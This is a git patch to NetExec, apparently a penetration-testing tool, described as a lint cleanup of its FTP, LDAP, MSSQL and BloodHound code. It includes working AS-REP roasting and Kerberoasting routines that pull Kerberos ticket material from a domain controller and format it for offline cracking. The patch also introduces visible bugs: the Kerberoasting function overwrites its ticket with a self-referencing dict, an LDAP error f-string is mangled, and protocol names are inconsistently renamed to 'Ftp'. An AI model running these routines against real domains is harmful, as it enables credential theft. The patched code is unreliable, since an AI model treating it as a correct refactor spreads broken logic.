From 14be9d5b0e7636e850909eb6b2b27d8132a0eec1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 24 Sep 2023 00:25:08 -0400 Subject: [PATCH] ruff cleanup --- nxc/helpers/bloodhound.py | 28 +++++-- nxc/modules/wcc.py | 2 +- nxc/nxcdb.py | 2 +- nxc/parsers/nmap.py | 2 +- nxc/protocols/ftp.py | 19 ++--- nxc/protocols/ftp/proto_args.py | 2 +- nxc/protocols/ldap.py | 24 +++--- nxc/protocols/ldap/kerberos.py | 141 ++++++++++++++++---------------- nxc/protocols/mssql.py | 17 ++-- 9 files changed, 123 insertions(+), 114 deletions(-) diff --git a/nxc/helpers/bloodhound.py b/nxc/helpers/bloodhound.py index 41ea01fdc..18b0bbb60 100644 --- a/nxc/helpers/bloodhound.py +++ b/nxc/helpers/bloodhound.py @@ -1,23 +1,35 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +from neo4j import GraphDatabase +from neo4j.exceptions import AuthError, ServiceUnavailable + def add_user_bh(user, domain, logger, config): + """ + Adds a user to the BloodHound graph database. + + Args: + user (str or list): The username of the user or a list of user dictionaries. + domain (str): The domain of the user. + logger (Logger): The logger object for logging messages. + config (ConfigParser): The configuration object for accessing BloodHound settings. + + Returns: + None + + Raises: + AuthError: If the provided Neo4J credentials are not valid. + ServiceUnavailable: If Neo4J is not available on the specified URI. + Exception: If an unexpected error occurs with Neo4J. + """ users_owned = [] if isinstance(user, str): users_owned.append({"username": user.upper(), "domain": domain.upper()}) else: users_owned = user - # TODO: fix this, we shouldn't be doing conditional imports if config.get("BloodHound", "bh_enabled") != "False": - try: - from neo4j.v1 import GraphDatabase - except Exception as e: - logger.debug(f"Exception while importing neo4j.v1: {e}") - from neo4j import GraphDatabase - from neo4j.exceptions import AuthError, ServiceUnavailable - uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}" driver = GraphDatabase.driver( diff --git a/nxc/modules/wcc.py b/nxc/modules/wcc.py index 0e692afd5..bdc13abac 100644 --- a/nxc/modules/wcc.py +++ b/nxc/modules/wcc.py @@ -334,7 +334,7 @@ def check_laps(self): for subkey in subkeys: value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + "\\" + subkey, "DllName") - if type(value) == str and "laps\\cse\\admpwd.dll" in value.lower(): + if isinstance(value, str) and "laps\\cse\\admpwd.dll" in value.lower(): reasons.append(f"{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll") success = True laps_path = "\\".join(value.split("\\")[1:-1]) diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 4b4d1e994..4f88c82db 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -510,7 +510,7 @@ def do_proto(self, proto): def help_proto(): help_string = """ proto [smb|mssql|winrm] - *unimplemented protocols: ftp, rdp, ldap, ssh + *unimplemented protocols: Ftp, rdp, ldap, ssh Changes nxcdb to the specified protocol """ print_help(help_string) diff --git a/nxc/parsers/nmap.py b/nxc/parsers/nmap.py index 0cc7cc7f9..38c30073b 100644 --- a/nxc/parsers/nmap.py +++ b/nxc/parsers/nmap.py @@ -6,7 +6,7 @@ # right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases protocol_dict = { - "ftp": {"ports": [21], "services": ["ftp"]}, + "Ftp": {"ports": [21], "services": ["Ftp"]}, "ssh": {"ports": [22, 2222], "services": ["ssh"]}, "smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]}, "ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]}, diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index bc20d078b..a5a855698 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -1,12 +1,14 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + from nxc.config import process_secret -from nxc.connection import * +from nxc.connection import connection +from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter -from ftplib import FTP, error_reply, error_temp, error_perm, error_proto +from ftplib import FTP -class ftp(connection): +class Ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" self.remote_version = None @@ -46,15 +48,8 @@ def create_conn_obj(self): self.conn = FTP() try: self.conn.connect(host=self.host, port=self.args.port) - except error_reply: - return False - except error_temp: - return False - except error_perm: - return False - except error_proto: - return False - except socket.error: + except Exception as e: + self.logger.debug(f"Error connecting to FTP host: {e}") return False return True diff --git a/nxc/protocols/ftp/proto_args.py b/nxc/protocols/ftp/proto_args.py index 0e9e94d49..65740fb4d 100644 --- a/nxc/protocols/ftp/proto_args.py +++ b/nxc/protocols/ftp/proto_args.py @@ -1,5 +1,5 @@ def proto_args(parser, std_parser, module_parser): - ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser]) + ftp_parser = parser.add_parser("Ftp", help="own stuff using FTP", parents=[std_parser, module_parser]) ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)") cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access") diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f756b6d46..f25a3bb2a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -34,7 +34,7 @@ from impacket.smbconnection import SMBConnection, SessionError from nxc.config import process_secret, host_info_colors -from nxc.connection import * +from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh from nxc.logger import NXCAdapter, nxc_logger from nxc.protocols.ldap.bloodhound import BloodHound @@ -285,7 +285,7 @@ def enum_host_info(self): try: # DC's seem to want us to logoff first, windows workstations sometimes reset the connection self.conn.logoff() - except: + except Exception: pass if self.args.domain: @@ -347,7 +347,7 @@ def kerberos_login( self.nthash = nthash if self.password == "" and self.args.asreproast: - hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) + hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: @@ -455,7 +455,7 @@ def kerberos_login( color="magenta" if error in ldap_error_status else "red", ) return False - except: + except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", @@ -465,7 +465,7 @@ def kerberos_login( else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f'{self.domain}\\{self.username}\' from ccache\' if useCache else \':%s\' % (kerb_pass if not self.config.get(\'nxc\', \'audit_mode\') else self.config.get(\'nxc\', \'audit_mode\') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ""}', color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -476,7 +476,7 @@ def plaintext_login(self, domain, username, password): self.domain = domain if self.password == "" and self.args.asreproast: - hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) + hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: @@ -528,7 +528,7 @@ def plaintext_login(self, domain, username, password): if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) return True - except: + except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", @@ -567,7 +567,7 @@ def hash_login(self, domain, username, ntlm_hash): self.domain = domain if self.hash == "" and self.args.asreproast: - hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username) + hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: @@ -906,7 +906,7 @@ def asreproast(self): pass if len(answers) > 0: for user in answers: - hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) + hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0]) self.logger.highlight(f"{hash_TGT}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(hash_TGT + "\n") @@ -993,7 +993,7 @@ def kerberoasting(self): if len(answers) > 0: self.logger.display(f"Total of records returned {len(answers):d}") - TGT = KerberosAttacks(self).getTGT_kerberoasting() + TGT = KerberosAttacks(self).get_tgt_kerberoasting() dejavue = [] for ( SPN, @@ -1017,9 +1017,9 @@ def kerberoasting(self): self.kdcHost, TGT["KDC_REP"], TGT["cipher"], - TGT["sessionKey"], + TGT["session_key"], ) - r = KerberosAttacks(self).outputTGS( + r = KerberosAttacks(self).output_tgs( tgs, oldSessionKey, sessionKey, diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index a889ac5df..a700af612 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -48,8 +48,8 @@ def __init__(self, connection): if self.password is None: self.password = "" - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None): + decoded_tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { @@ -65,48 +65,48 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket - if decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value: + if decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value: entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( constants.EncryptionTypes.rc4_hmac.value, username, - decodedTGS["ticket"]["realm"], + decoded_tgs["ticket"]["realm"], spn.replace(":", "~"), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) - elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, - decodedTGS["ticket"]["realm"], + decoded_tgs["ticket"]["realm"], spn.replace(":", "~"), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode, + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode, ) - elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, - decodedTGS["ticket"]["realm"], + decoded_tgs["ticket"]["realm"], spn.replace(":", "~"), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(), ) - elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value: + elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value: entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( constants.EncryptionTypes.des_cbc_md5.value, username, - decodedTGS["ticket"]["realm"], + decoded_tgs["ticket"]["realm"], spn.replace(":", "~"), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), - hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(), + hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) else: - nxc_logger.error("Skipping" f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}") + nxc_logger.error("Skipping" f" {decoded_tgs['ticket']['sname']['name-string'][0]}/{decoded_tgs['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decoded_tgs['ticket']['enc-part']['etype']:d}") return entry - def getTGT_kerberoasting(self): + def get_tgt_kerberoasting(self): try: ccache = CCache.loadFile(getenv("KRB5CCNAME")) # retrieve user and domain information from CCache file if needed @@ -118,17 +118,16 @@ def getTGT_kerberoasting(self): principal = f"krbtgt/{domain.upper()}@{domain.upper()}" creds = ccache.getCredential(principal) if creds is not None: - TGT = creds.toTGT() + tgt = creds.toTGT() nxc_logger.debug("Using TGT from cache") - return TGT + return tgt else: nxc_logger.debug("No valid credentials found in cache. ") - except: - # No cache present + except Exception: pass # No TGT in cache, request it - userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the @@ -137,7 +136,7 @@ def getTGT_kerberoasting(self): if self.password != "" and (self.lmhash == "" and self.nthash == ""): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( - userName, + user_name, "", self.domain, compute_lmhash(self.password), @@ -148,7 +147,7 @@ def getTGT_kerberoasting(self): except Exception as e: nxc_logger.debug(f"TGT: {str(e)}") tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( - userName, + user_name, self.password, self.domain, unhexlify(self.lmhash), @@ -159,7 +158,7 @@ def getTGT_kerberoasting(self): else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( - userName, + user_name, self.password, self.domain, unhexlify(self.lmhash), @@ -167,71 +166,71 @@ def getTGT_kerberoasting(self): self.aesKey, kdcHost=self.kdcHost, ) - TGT = {} - TGT["KDC_REP"] = tgt - TGT["cipher"] = cipher - TGT["sessionKey"] = sessionKey + tgt = {} + tgt["KDC_REP"] = tgt + tgt["cipher"] = cipher + tgt["session_key"] = sessionKey - return TGT + return tgt - def getTGT_asroast(self, userName, requestPAC=True): - clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + def get_tgt_asroast(self, userName, requestPAC=True): + client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - asReq = AS_REQ() + as_req = AS_REQ() domain = self.targetDomain.upper() - serverName = Principal(f"krbtgt/{domain}", type=constants.PrincipalNameType.NT_PRINCIPAL.value) + server_name = Principal(f"krbtgt/{domain}", type=constants.PrincipalNameType.NT_PRINCIPAL.value) - pacRequest = KERB_PA_PAC_REQUEST() - pacRequest["include-pac"] = requestPAC - encodedPacRequest = encoder.encode(pacRequest) + pac_request = KERB_PA_PAC_REQUEST() + pac_request["include-pac"] = requestPAC + encoded_pac_request = encoder.encode(pac_request) - asReq["pvno"] = 5 - asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) + as_req["pvno"] = 5 + as_req["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value) - asReq["padata"] = noValue - asReq["padata"][0] = noValue - asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) - asReq["padata"][0]["padata-value"] = encodedPacRequest + as_req["padata"] = noValue + as_req["padata"][0] = noValue + as_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + as_req["padata"][0]["padata-value"] = encoded_pac_request - reqBody = seq_set(asReq, "req-body") + req_body = seq_set(as_req, "req-body") opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) - reqBody["kdc-options"] = constants.encodeFlags(opts) + req_body["kdc-options"] = constants.encodeFlags(opts) - seq_set(reqBody, "sname", serverName.components_to_asn1) - seq_set(reqBody, "cname", clientName.components_to_asn1) + seq_set(req_body, "sname", server_name.components_to_asn1) + seq_set(req_body, "cname", client_name.components_to_asn1) if domain == "": nxc_logger.error("Empty Domain not allowed in Kerberos") return - reqBody["realm"] = domain + req_body["realm"] = domain now = datetime.utcnow() + timedelta(days=1) - reqBody["till"] = KerberosTime.to_asn1(now) - reqBody["rtime"] = KerberosTime.to_asn1(now) - reqBody["nonce"] = random.getrandbits(31) + req_body["till"] = KerberosTime.to_asn1(now) + req_body["rtime"] = KerberosTime.to_asn1(now) + req_body["nonce"] = random.getrandbits(31) - supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + supported_ciphers = (int(constants.EncryptionTypes.rc4_hmac.value),) - seq_set_iter(reqBody, "etype", supportedCiphers) + seq_set_iter(req_body, "etype", supported_ciphers) - message = encoder.encode(asReq) + message = encoder.encode(as_req) try: r = sendReceive(message, domain, self.kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types - supportedCiphers = ( + supported_ciphers = ( int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), ) - seq_set_iter(reqBody, "etype", supportedCiphers) - message = encoder.encode(asReq) + seq_set_iter(req_body, "etype", supported_ciphers) + message = encoder.encode(as_req) r = sendReceive(message, domain, self.kdcHost) elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: return "Password of user " + userName + " expired but user doesn't require pre-auth" @@ -242,24 +241,24 @@ def getTGT_asroast(self, userName, requestPAC=True): # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: - asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] - except: + as_rep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] + except Exception: # Most of the times we shouldn't be here, is this a TGT? - asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + as_rep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set nxc_logger.debug(f"User {userName} doesn't have UF_DONT_REQUIRE_PREAUTH set") return # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. - if asRep["enc-part"]["etype"] == 17 or asRep["enc-part"]["etype"] == 18: - hash_TGT = "$krb5asrep$%d$%s@%s:%s$%s" % ( - asRep["enc-part"]["etype"], - clientName, + if as_rep["enc-part"]["etype"] == 17 or as_rep["enc-part"]["etype"] == 18: + hash_tgt = "$krb5asrep$%d$%s@%s:%s$%s" % ( + as_rep["enc-part"]["etype"], + client_name, domain, - hexlify(asRep["enc-part"]["cipher"].asOctets()[:12]).decode(), - hexlify(asRep["enc-part"]["cipher"].asOctets()[12:]).decode(), + hexlify(as_rep["enc-part"]["cipher"].asOctets()[:12]).decode(), + hexlify(as_rep["enc-part"]["cipher"].asOctets()[12:]).decode(), ) else: - hash_TGT = "$krb5asrep$%d$%s@%s:%s$%s" % (asRep["enc-part"]["etype"], clientName, domain, hexlify(asRep["enc-part"]["cipher"].asOctets()[:16]).decode(), hexlify(asRep["enc-part"]["cipher"].asOctets()[16:]).decode()) - return hash_TGT + hash_tgt = "$krb5asrep$%d$%s@%s:%s$%s" % (as_rep["enc-part"]["etype"], client_name, domain, hexlify(as_rep["enc-part"]["cipher"].asOctets()[:16]).decode(), hexlify(as_rep["enc-part"]["cipher"].asOctets()[16:]).decode()) + return hash_tgt diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index ce2485274..ad312267f 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -1,10 +1,13 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os +import socket from nxc.config import process_secret +from nxc.connection import connection +from nxc.connection import requires_admin +from nxc.logger import NXCAdapter from nxc.protocols.mssql.mssqlexec import MSSQLEXEC -from nxc.connection import * from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from impacket import tds @@ -61,7 +64,7 @@ def enum_host_info(self): try: # Probably a better way of doing this, grab our IP from the socket self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0] - except: + except Exception: pass if self.args.no_smb: @@ -82,7 +85,7 @@ def enum_host_info(self): try: smb_conn.logoff() - except: + except Exception: pass if self.args.domain: @@ -104,7 +107,7 @@ def enum_host_info(self): try: self.conn.disconnect() - except: + except Exception: pass def print_host_info(self): @@ -152,7 +155,7 @@ def kerberos_login( ): try: self.conn.disconnect() - except: + except Exception: pass self.create_conn_obj() @@ -211,7 +214,7 @@ def kerberos_login( def plaintext_login(self, domain, username, password): try: self.conn.disconnect() - except: + except Exception: pass self.create_conn_obj() @@ -259,7 +262,7 @@ def hash_login(self, domain, username, ntlm_hash): try: self.conn.disconnect() - except: + except Exception: pass self.create_conn_obj()